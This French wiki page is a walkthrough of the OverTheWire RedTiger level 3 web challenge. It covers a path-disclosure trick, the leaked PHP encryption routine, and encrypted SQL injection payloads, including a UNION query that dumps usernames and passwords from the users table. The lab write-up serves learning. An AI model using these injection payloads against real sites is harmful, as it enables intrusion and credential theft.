Outils d'utilisateurs

Outils du Site


redtiger_level3

Redtiger level 3

Adresse de l’épreuve : http://redtiger.labs.overthewire.org/level3.php

Cette épreuve nous présente une page prenant en paramètre une chaîne de caractère et affichant des informations sur un utilisateur. Nous supposons que cette chaîne de caractère est chiffrée du fait de sa forme ressemblant à l'algorithme Base64.

http://redtiger.labs.overthewire.org/level3.php?usr=MTQ4MTY4MTY1MTMxMTc1MTgz

Nous avons tenté de décoder cette chaîne en utilisant la commande base64 disponible sous UNIX.

echo -n "MTQ4MTY4MTY1MTMxMTc1MTgz" | base64 -d
148168165131175183

Malgré plusieurs tentatives, nous n'avons pas réussi à exploiter le challenge avec ces informations.

Par la suite, nous avons testé la vulnérabilité Full Path Disclosure présente dans beaucoup d'applications web. En effet, celle-ci nous permet de mettre en évidence le chemin complet du script.

En fournissant en paramètre un tableau [] plutôt qu'un champ de type string, une erreur se produit.

http://redtiger.labs.overthewire.org/level3.php?usr[]=MTQ4MTY4MTY1MTMxMTc1MTgz

Nous obtenons donc un élément important pour notre exploitation. La page inclue un autre fichier contenant du code source PHP à l'adresse http://redtiger.labs.overthewire.org/urlcrypt.inc.

Voici le code source de cette page disponible en lecture car n'ayant pas d'extension PHP (ou similaire), celle-ci n'est donc pas interprétée directement comme du code.

<?php
function encrypt($str)
{
	$cryptedstr = "";
	for ($i =0; $i < strlen($str); $i++)
	{
		$temp = ord(substr($str,$i,1)) ^ 192;

		while(strlen($temp)<3)
		{
			$temp = "0".$temp;
		}
		$cryptedstr .= $temp. "";
	}
	return base64_encode($cryptedstr);
}

function decrypt ($str)
{
	if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
	{
		$str = base64_decode($str);
		if ($str != "" && $str != null && $str != false)
		{
			$decStr = "";
			for ($i=0; $i < strlen($str); $i+=3)
			{
				$array[$i/3] = substr($str,$i,3);
			}	
			foreach($array as $s)
			{
				$a = $s^192;
				$decStr .= chr($a);
			}
			return $decStr;
		}
		return false;
	}	
	return false;
}
?>

Ce code comprend l'algorithme de chiffrement et déchiffrement de la valeur passée en paramètre. En l'utilisant en local sur notre machine, nous pouvons donc créer un payload valide qui sera interpréter par la page. Nous allons, comme pour le challenge 1, exploiter l'injection. La seule différence ici vient du fait que le payload est chiffré.

En local, nous pouvons insérer à la fin de notre script:

echo encrypt("' order by 7-- ");

Puis nous l’exécutons:

php url.php 2> /dev/null
MjMxMjI0MTc1MTc4MTY0MTY1MTc4MjI0MTYyMTg1MjI0MjQ3MjM3MjM3MjI0

La page s'affiche correctement jusqu'à 7. Nous avons donc 7 colonnes dans la requête initiale. Comme expliqué plus haut, nous exploitons ce paramètre de la même manière que le premier challenge. Voici les deux autres payload nous permettant d'obtenir le nom d'utilisateur et mot de passe des utilisateurs.

echo encrypt("' union all select 1,2,3,4,5,6,7-- ");
echo encrypt("' union all select 1,group_concat(id,0x3a,username,0x3a,password),3,4,5,6,7 FROM level3_users-- ");

Nous obtenons le mot de passe de l'administrateur ainsi que son nom d'utilisateur.

redtiger_level3.txt · Dernière modification: 2017/04/09 15:33 (modification externe)